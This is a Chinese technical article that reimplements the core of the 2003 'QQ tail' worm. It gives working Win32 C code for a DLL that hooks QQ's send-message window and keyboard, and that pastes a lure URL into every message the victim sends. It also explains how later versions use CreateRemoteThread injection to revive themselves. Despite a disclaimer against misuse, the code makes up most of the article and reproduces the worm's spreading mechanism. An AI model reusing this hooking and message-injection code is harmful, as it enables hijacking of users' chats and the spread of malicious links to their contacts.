• "QQ尾巴病毒"核心技术的实现原理分析


    声明:本文旨在探讨技术,请读者不要使用文章中的方法进行任何破坏。
      2003这一年里,QQ尾巴病毒可以算是风光了一阵子。它利用IE的邮件头漏洞在QQ上疯狂传播。中毒者在给别人发信息时,病毒会自动在信息文本的后边添上一句话,话的内容多种多样,总之就是希望信息的接收者点击这句话中的URL,成为下一个中毒者。下图就是染毒后的QQ发送的消息,其中中毒者只打了“你好”两个字,其它的就全是病毒的杰作了。

      下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。

    粘贴尾巴

      首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:
    TCHAR g_str[] = "欢迎来我的小站坐坐:http://titilima.nease.net";
    // 函数功能:向文本框中粘贴尾巴
    void PasteText(HWND hRich)
    {
      HGLOBAL hMem;
      LPTSTR pStr;
      // 分配内存空间
      hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
      pStr = GlobalLock(hMem);
      lstrcpy(pStr, g_str);
      GlobalUnlock(hMem);
      OpenClipboard(NULL);
      EmptyClipboard();
      // 设置剪贴板文本
      SetClipboardData(CF_TEXT, hMem);
      CloseClipboard();
      // 释放内存空间
      GlobalFree(hMem);
      // 粘贴文本
      SendMessage(hRich, WM_PASTE, 0, 0);
    }

    钩子

      好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:
    void CQQTailDlg::OnTimer(UINT nIDEvent)
    {
      PasteText(hRich);
    }
      这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……
      然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。
      讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。
      首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。
      问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):
    // 钩子过程,监视“发送”的命令消息
    LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
      CWPSTRUCT *p = (CWPSTRUCT *)lParam;
      // 捕获“发送”按钮
      if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
        PasteText(g_hRich);
      return CallNextHookEx(g_hProc, nCode, wParam, lParam);
    }
      在此我对这个回调过程说明几点:
      1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
    typedef struct {
      LPARAM lParam;
      WPARAM wParam;
      UINT message;
      HWND hwnd;
    } CWPSTRUCT, *PCWPSTRUCT;
      这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* ... */ }这样的代码写成的钩子函数来全面接管QQ窗口。
      2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。
      3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。
      4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:
    #define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
    // QQ发送消息对话框回调过程·李马伪造版
    LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
    {
      switch (Msg)
      {
      case WM_CLOSE:
        EndDialog(hDlg, 0);
        break;
      case WM_COMMAND:
        {
          switch (LOWORD(wParam))
          {
          case IDC_BTN_SENDMSG:
            // 发送消息...
            break;
          // 其它的命令按钮处理部分...
        }
      }
      break;
      // 其它的case部分...
      }
      return 0;
    }
      消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分,这个过程如下图:

      所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。
      好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:
    // 键盘钩子过程,监视“发送”的热键消息
    LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
      // 捕获热键消息
      if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
        PasteText(g_hRich);
      return CallNextHookEx(g_hKey, nCode, wParam, lParam);
    }
      在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0x80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。

    挂接钩子和查找窗口

      接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?
      挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:
    // 挂接钩子
    BOOL WINAPI SetHook(HWND hQQ)
    {
      BOOL bRet = FALSE;
      if (hQQ != NULL)
      {
        DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
        // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
        g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
        if (g_hRich == NULL)
          return FALSE;
        // 挂接钩子
        g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
        g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
        bRet = (g_hProc != NULL) && (g_hKey != NULL);
      }
      else
      {
        // 卸载钩子
        bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
        g_hProc = NULL;
        g_hKey = NULL;
        g_hRich = NULL;
      }
      return bRet;
    }
      到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。
      DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:
    // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
    HWND hSend;
    g_hQQ = NULL;
    SetHook(NULL);
    do
    {
      g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
      hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)");
    } while(g_hQQ != NULL && hSend == NULL);
    if (g_hQQ != NULL)
      SetHook(g_hQQ);
      这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。

    DLL的共享数据段

      如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:
    // 定义共享数据段
    #pragma data_seg("shared")
    HHOOK g_hProc = NULL; // 窗口过程钩子句柄
    HHOOK g_hKey = NULL; // 键盘钩子句柄
    HWND g_hRich = NULL; // 文本框句柄
    #pragma data_seg()
    #pragma comment(linker, "/section:shared,rws")
      这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
      是的,添加尾巴失败!
      好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:

      这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。
      在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。

    最后一些要说的

      1、我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。
      2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。
      3、走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前,了无秘密。”如果你看完本文之后也有这样的感觉,那么我将感到不胜荣幸。
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